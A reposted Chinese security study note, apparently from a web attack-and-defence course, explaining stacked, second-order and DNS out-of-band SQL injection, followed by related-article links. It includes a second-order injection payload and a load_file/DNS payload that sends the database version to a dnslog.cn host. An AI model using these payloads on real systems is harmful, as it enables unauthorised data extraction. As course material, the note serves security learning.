[BT]小迪安全2023学习笔记(第30天:Web攻防-SQL带外注入)

2024-05-26 01:52

本文主要是介绍[BT]小迪安全2023学习笔记(第30天:Web攻防-SQL带外注入),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

第30天

堆叠注入

支持数据库:MySQL、MsSQL、PostgreSQL
数据库后台能够执行堆叠操作,但不一定在注入点就能够实现堆叠操作,因为这和网站处理方式有关

二次注入

注入过程:比如在用户注册或者修改用户信息时可以在某一个存在注入的地方插入注入语句,此时就算提交数据了也看不到关键信息的回显,因为注入语句只是被保存在了服务器的数据库中,当我们再次查询时服务器会认为数据是安全的便直接查询数据造成我们插入的Payload执行,主要问题在于网站没有对我们输入的数据进行分析,另一方面过于相信数据库本身存储的数据而在查询时使用了简单的SQL语句导致存在注入漏洞

例如:
在填写学校名称:xiaodi',address=version()#
当我们查询个人资料时就会看到学校名称一栏依旧是:xiaodi',address=version()#
而邮箱地址一栏则是数据库的版本信息,这说明服务器在查询时执行了我们的Payload并且会覆盖前面服务器本身查询的address值,前提是能够知道对应的字段名

DNS外带

可以在 DNSlog.cn 这个平台申请一个域名类似 abc.dnslog.cn
然后在目标服务器上访问或者ping %USERNAME%.abc.dnslog.cn,也就是会把 %USERNAME% 的值放在域名前缀,这就会在网络上留下记录,DNS网站刷新之后就能看到对应的域名访问记录了,前缀就是我们想要获取的值

SQL Payload:
需要具备高权限

select load_file(concat('//',(select version()),'.abc.dnslog.cn/abc'))

这篇关于[BT]小迪安全2023学习笔记(第30天:Web攻防-SQL带外注入)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1003227

相关文章

SpringBoot中@Value注入静态变量方式

《SpringBoot中@Value注入静态变量方式》SpringBoot中静态变量无法直接用@Value注入,需通过setter方法,@Value(${})从属性文件获取值,@Value(#{})用... 目录项目场景解决方案注解说明1、@Value("${}")使用示例2、@Value("#{}"php

MySQL的JDBC编程详解

《MySQL的JDBC编程详解》:本文主要介绍MySQL的JDBC编程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录前言一、前置知识1. 引入依赖2. 认识 url二、JDBC 操作流程1. JDBC 的写操作2. JDBC 的读操作总结前言本文介绍了mysq

java.sql.SQLTransientConnectionException连接超时异常原因及解决方案

《java.sql.SQLTransientConnectionException连接超时异常原因及解决方案》:本文主要介绍java.sql.SQLTransientConnectionExcep... 目录一、引言二、异常信息分析三、可能的原因3.1 连接池配置不合理3.2 数据库负载过高3.3 连接泄漏

Linux下MySQL数据库定时备份脚本与Crontab配置教学

《Linux下MySQL数据库定时备份脚本与Crontab配置教学》在生产环境中,数据库是核心资产之一,定期备份数据库可以有效防止意外数据丢失,本文将分享一份MySQL定时备份脚本,并讲解如何通过cr... 目录备份脚本详解脚本功能说明授权与可执行权限使用 Crontab 定时执行编辑 Crontab添加定

深入浅出Spring中的@Autowired自动注入的工作原理及实践应用

《深入浅出Spring中的@Autowired自动注入的工作原理及实践应用》在Spring框架的学习旅程中,@Autowired无疑是一个高频出现却又让初学者头疼的注解,它看似简单,却蕴含着Sprin... 目录深入浅出Spring中的@Autowired:自动注入的奥秘什么是依赖注入?@Autowired

Spring 依赖注入与循环依赖总结

《Spring依赖注入与循环依赖总结》这篇文章给大家介绍Spring依赖注入与循环依赖总结篇,本文通过实例代码给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友参考下吧... 目录1. Spring 三级缓存解决循环依赖1. 创建UserService原始对象2. 将原始对象包装成工

MySQL中On duplicate key update的实现示例

《MySQL中Onduplicatekeyupdate的实现示例》ONDUPLICATEKEYUPDATE是一种MySQL的语法,它在插入新数据时,如果遇到唯一键冲突,则会执行更新操作,而不是抛... 目录1/ ON DUPLICATE KEY UPDATE的简介2/ ON DUPLICATE KEY UP

MySQL分库分表的实践示例

《MySQL分库分表的实践示例》MySQL分库分表适用于数据量大或并发压力高的场景,核心技术包括水平/垂直分片和分库,需应对分布式事务、跨库查询等挑战,通过中间件和解决方案实现,最佳实践为合理策略、备... 目录一、分库分表的触发条件1.1 数据量阈值1.2 并发压力二、分库分表的核心技术模块2.1 水平分

Python与MySQL实现数据库实时同步的详细步骤

《Python与MySQL实现数据库实时同步的详细步骤》在日常开发中,数据同步是一项常见的需求,本篇文章将使用Python和MySQL来实现数据库实时同步,我们将围绕数据变更捕获、数据处理和数据写入这... 目录前言摘要概述:数据同步方案1. 基本思路2. mysql Binlog 简介实现步骤与代码示例1

Web服务器-Nginx-高并发问题

《Web服务器-Nginx-高并发问题》Nginx通过事件驱动、I/O多路复用和异步非阻塞技术高效处理高并发,结合动静分离和限流策略,提升性能与稳定性... 目录前言一、架构1. 原生多进程架构2. 事件驱动模型3. IO多路复用4. 异步非阻塞 I/O5. Nginx高并发配置实战二、动静分离1. 职责2